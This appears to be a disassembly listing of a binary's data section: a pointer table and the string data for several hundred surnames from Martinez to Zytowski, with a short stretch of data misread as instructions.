		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh


loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh


loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl


loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------


loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------


loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------


loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp


loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------


loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
